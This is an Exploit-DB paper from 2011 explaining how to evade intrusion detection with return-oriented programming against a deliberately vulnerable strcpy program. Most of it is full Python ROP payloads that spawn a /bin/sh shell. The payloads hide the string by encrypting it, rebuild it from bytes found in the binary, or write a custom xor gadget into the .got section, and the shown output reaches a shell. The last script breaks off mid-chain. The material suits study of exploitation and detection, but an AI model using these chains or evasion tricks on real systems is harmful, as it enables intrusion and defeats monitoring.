Bypassing IDS with Return Oriented Programming

EDB-ID:

17923

CVE:

N/A




Platform:

Linux

Date:

2011-10-03


Title:    Bypassing IDS with Return Oriented Programming
Date:     2011-10-02
Author:   Jonathan Salwan | twiter: @JonathanSalwan



        Small reminder of the polymorphism
        ==================================


        Polymorphism is used in the shellcode to hide attacks on a network.
        It is true that today the IDSs (Intrusion Detection System) recognizes most shellcode structures. 
        (example: push /bin/sh, etc).
        But polymorphism can bypass this detection.

        With regard to the ROP, each payload is different and specific, we can therefore consider 
        that the gadgets will not be detected by IDS.
        However, in many cases, during ROP exploitation we use a section to write our chain,
        that will be used during the execve.

        Exemple in .data we write "/bin/sh"

        With IDS, it will be difficult to send this type of chain, so we'll
        encrypt the string and then decrypt it later.



        Encrypting our string
        =====================


        Take for example the vulnerable code below. The code is compiled with -static flag for
        a large list of gadgets. Of course, the code below is not related to the network IDS,
        it's just to demonstrate the principle of IDS bypassing with the ROP.


        
                #include <string.h>

                int main(int ac, char **av)
                {
                  char buff[32];
                  strcpy(buff, av[1]);
                }
        

        
        Launching ROPgadget (http://shell-storm.org/project/ROPgadget/) allows us to obtain a usable payload very easily.


                
                # execve /bin/sh generated by RopGadget v3.1
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e0) # @ .data
                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "/bin"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e4) # @ .data + 4
                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "//sh"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e8) # @ .data + 8
                p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
                p += pack("<I", 0x08048144) # pop %ebx | ret
                p += pack("<I", 0x080ce3e0) # @ .data
                p += pack("<I", 0x080bc924) # pop %ecx | ret
                p += pack("<I", 0x080ce3e8) # @ .data + 8
                p += pack("<I", 0x08050eaa) # pop %edx | ret
                p += pack("<I", 0x080ce3e8) # @ .data + 8
                p += pack("<I", 0x080577b0) # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x08069f78) # inc %eax | ret
                p += pack("<I", 0x080491f9) # int $0x80
                

        Here, we write the string "/bin/sh" directly in data with the following gadgets:

                
                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "/bin"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret

                [...]

                p += pack("<I", 0x080a5566) # pop %eax | ret
                p += "//sh"
                p += pack("<I", 0x08079e0d) # mov %eax,(%edx) | ret
                


        What we'll do is encrypt that string and then decrypt it later.
        First of all, we'll decrement by 1 the characters of our string.

        So, we'll have a string that will look like this: '.ahm..rg'
        
        Still with ROPgadget , I find the following gadgets that will help me to decipher our
        chain.


                
                0x08050eaa   pop %edx               ; we place the address of our string in %edx
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx        ; we place the first character of our string in %ecx
                             ret
 
        
                0x080c9338   inc %ecx               ; we increment the character
                             ret


                0x08058770   mov %ecx,%eax          ; we place the character in %eax
                             pop %ebx 
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08079e0d   mov %eax,(%edx)        ; we place the decrypted character instead of the encrypted character
                             ret

        

        This operation is repeated for each character of our chain and in the end we get our string like this: "/bin/sh".
        This gives us something like this:


                
                jonathan@ArchLinux [rop-ids] $ cat test-ids.py
                #!/usr/bin/env python2


                from struct import pack

                p  = "a"*32
                p += "bbbb"

                # push data encrypted
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080a5566)                 # pop %eax | ret
                p += ".ahm"                                 # '/bin' chiffré
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e4)                 # @ .data + 4
                p += pack("<I", 0x080a5566)                 # pop %eax | ret
                p += "..rg"                                 # '//sh' chiffré
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                 # @ .data + 8
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt data pour '.ahm..rg' => '/bin/sh'
                # decrypt '/'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'b'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+1)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'i'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+2)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'n'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+3)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+4)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+5)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 's'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+6)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # decrypt 'h'
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+7)               # @ .data
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x080c9338)                 # inc %ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # set registers for execve
                p += pack("<I", 0x08048144)                 # pop %ebx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080bc924)                 # pop %ecx | ret
                p += pack("<I", 0x080ce3e8)                 # @ .data + 8
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                 # @ .data + 8

                # set eax for execve syscall
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x080491f9)                 # int $0x80

                print p
                jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids.py)"
                sh-4.2$ 
                


        As you can imagine, you are free to choose the type of encryption that you want...
        You may push the same characters if you wish, then adjust them to obtain the chain "/bin/sh"

        You will have something like this:

                
                p += "...."                                 # '/bin' encrypted
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e4)                 # @ .data + 4
                p += pack("<I", 0x080a5566)                 # pop %eax | ret
                p += "...."                                 # '//sh' encrypted
                 


        Recover our string directly into the binary
        ===========================================


        In may go even further, without sending any chains. Instead we get the characters directly in the binary.
        We'll start searching with gdb in the .text section for our characters:

                
                (gdb$) find 0x8048150,0x80a807c, '/'
                (gdb$) find 0x8048150,0x80a807c, 'b'
                (gdb$) find 0x8048150,0x80a807c, 'i'
                (gdb$) find 0x8048150,0x80a807c, 'n'
                (gdb$) find 0x8048150,0x80a807c, '/'
                (gdb$) find 0x8048150,0x80a807c, 's'
                (gdb$) find 0x8048150,0x80a807c, 'h'
                
        
        We obtain the following addresses:

                
                / : 0x804f676 
                b : 0x8051ce5
                i : 0x804dd26
                n : 0x804f124
                / : 0x804f676
                s : 0x805a241
                h : 0x8051e14
                

        
        Using our previous gadgets (Chapter 1) we'll do the same here, but changing just the execution order.


                0x08050eaa   pop %edx               ; we place the address of the character you need
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx        ; placed the character in %ecx
                             ret
 

                0x08058770   mov %ecx,%eax          ; our character is placed in %eax
                             pop %ebx
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08050eaa   pop %edx               ; we place the address of our 'stack' (where you want to write our string)
                             ret 


                0x08079e0d   mov %eax,(%edx)        ; we place our character on our 'stack'
                             ret


        This is repeated for all characters. From there, it is possible to recover any byte in the binary and write the byte anywhere in memory.

        We then have a code that looks like this:

                
                jonathan@ArchLinux [rop-ids] $ cat test-ids2.py 
                #!/usr/bin/env python2


                from struct import pack

                p  = "a"*32
                p += "bbbb"


                # push /bin/sh in .data
                # get '/' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804f676)                 # '/' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                 # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'b' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x08051ce5)                 # 'b' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+1)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'i' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804dd26)                 # 'i' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+2)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'n' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804f124)                 # 'n' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+3)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get '/' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0804f676)                 # '/' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+4)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 's' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x0805a241)                 # 's' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+5)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # get 'h' in .text
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x08051e14)                 # 'h' in .text
                p += pack("<I", 0x080c34a9)                 # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                 # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x41424344)                 # padding
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+6)               # @.data
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # set NULL bytes 
                # .data => /bin/sh\0\0\0\0
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+7)               # @ .data + 7
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+8)               # @ .data + 8
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+9)               # @ .data + 9
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e0+10)              # @ .data + 10
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                 # mov %eax,(%edx) | ret

                # set registers for execve
                p += pack("<I", 0x08048144)                 # pop %ebx | ret
                p += pack("<I", 0x080ce3e0)                 # @ .data
                p += pack("<I", 0x080bc924)                 # pop %ecx | ret
                p += pack("<I", 0x080ce3e7)                 # @ .data + 8
                p += pack("<I", 0x08050eaa)                 # pop %edx | ret
                p += pack("<I", 0x080ce3e7)                 # @ .data + 8

                # set eax for execve syscall
                p += pack("<I", 0x080577b0)                 # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x08069f78)                 # inc %eax | ret
                p += pack("<I", 0x080491f9)                 # int $0x80

                print p
                jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids2.py)"
                sh-4.2$ 
                



        Creating your own gadgets
        =========================


        Returning to the method explained before, we'll be able to create our own gadgets.
        To do this we just need a section in rwx.
        The .got section fully meets this expectation. (if NX is disable)

        So, we'll be able to retrieve the bytes in the binary, then place them in the .got section 
        that will eventually serve as a gadget.

        I'll use the payload in the first chapter, except that we'll use the XOR to decipher
        our chain

        To do this we'll have a gadget that does not currently exist in the binary, so
        we'll create it.


        First of all, we'll retrieve the address of the .got section and then get the value of instruction "xor $ 0x77,% ecx, ret"


                
                jonathan@ArchLinux [rop-ids] $ size -Ax ./main | grep got
                .got        0x8   0x80ce3c8

                jonathan@ArchLinux [rop-ids] $ objdump -d ./test

                test:     file format elf32-i386


                Disassembly of section .text:

                08048054 <.text>:
                8048054:       83 f1 77                     xor    $0x77,%ecx
                8048057:       c3                           ret
                



        Then we'll find the bytes with gdb in the .text section:

                
                (gdb$) find 0x8048150,0x80a807c, '\x83'    result ==> 0x08048d28
                (gdb$) find 0x8048150,0x80a807c, '\xf1'    result ==> 0x0804fc47
                (gdb$) find 0x8048150,0x80a807c, '\x77'    result ==> 0x0804db48
                (gdb$) find 0x8048150,0x80a807c, '\xc3'    result ==> 0x0804a5dc
                


        So, we have this series of gadgets that will allow us to create our gadget:


                0x08050eaa   pop %edx               ; we place the address of the byte (0x83)
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx        ; the byte is placed in %ecx
                             ret
 

                0x08058770   mov %ecx,%eax          ; the byte is placed in %eax
                             pop %ebx
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08050eaa   pop %edx               ; we place the .got address in %edx
                             ret 


                0x08079e0d   mov %eax,(%edx)        ; the byte is placed on .got section
                             ret


        We just have to repeat this for each byte, then we'll have our gadget in the .got section.

        After creating the last gadget, we have the following gadgets:



                0x08050eaa   pop %edx              ; we place the address of our string in %edx
                             ret                                                         


                0x080c34a9   mov (%edx),%ecx       ; placed the first character string in our in %ecx
                             ret
 
        
                @.got        xor $0x77,%ecx        ; Our gadget in .got section
                              ret


                0x08058770   mov %ecx,%eax         ; our character is placed in %eax
                             pop %ebx
                             pop %esi
                             pop %edi
                             pop %ebp
                             ret


                0x08079e0d   mov %eax,(%edx)       ; we place the decrypted character instead of the encrypted character
                             ret


        So, we have a sploit that looks like this:

                
                jonathan@ArchLinux [rop-ids] $ cat test-ids3.py 
                #!/usr/bin/env python2


                from struct import pack

                p  = "a"*32
                p += "bbbb"

                # push data encrypted
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                  # @ .data
                p += pack("<I", 0x080a5566)                  # pop %eax | ret
                p += "\x58\x15\x1e\x19"                      # '/bin' crypted
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e4)                  # @ .data + 4
                p += pack("<I", 0x080a5566)                  # pop %eax | ret
                p += "\x58\x58\x04\x1f"                      # '//sh' crypted
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                  # @ .data + 8
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # creation of gadget in .got section
                # byte 0x83
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x08048d28)                  # @ 0x83 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8)                  # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # byte 0xf1
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x0804fc47)                  # @ 0xf1 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8+1)                # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # byte 0x77
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x0804db48)                  # @ 0x77 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8+2)                # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # byte 0xc3
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x0804a5dc)                  # @ 0xc3 byte
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3c8+3)                # @.got
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # now "xor $0x77,%ecx ; ret" is in 0x080ce3c8

                # data decrypted for '\x58\x15\x1e\x19\x58\x58\x04\x1f' => '/bin/sh'
                # decrypt '/'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0)                  # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 'b'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+1)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 'i'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+2)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                #  decrypt 'n'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+3)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+4)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
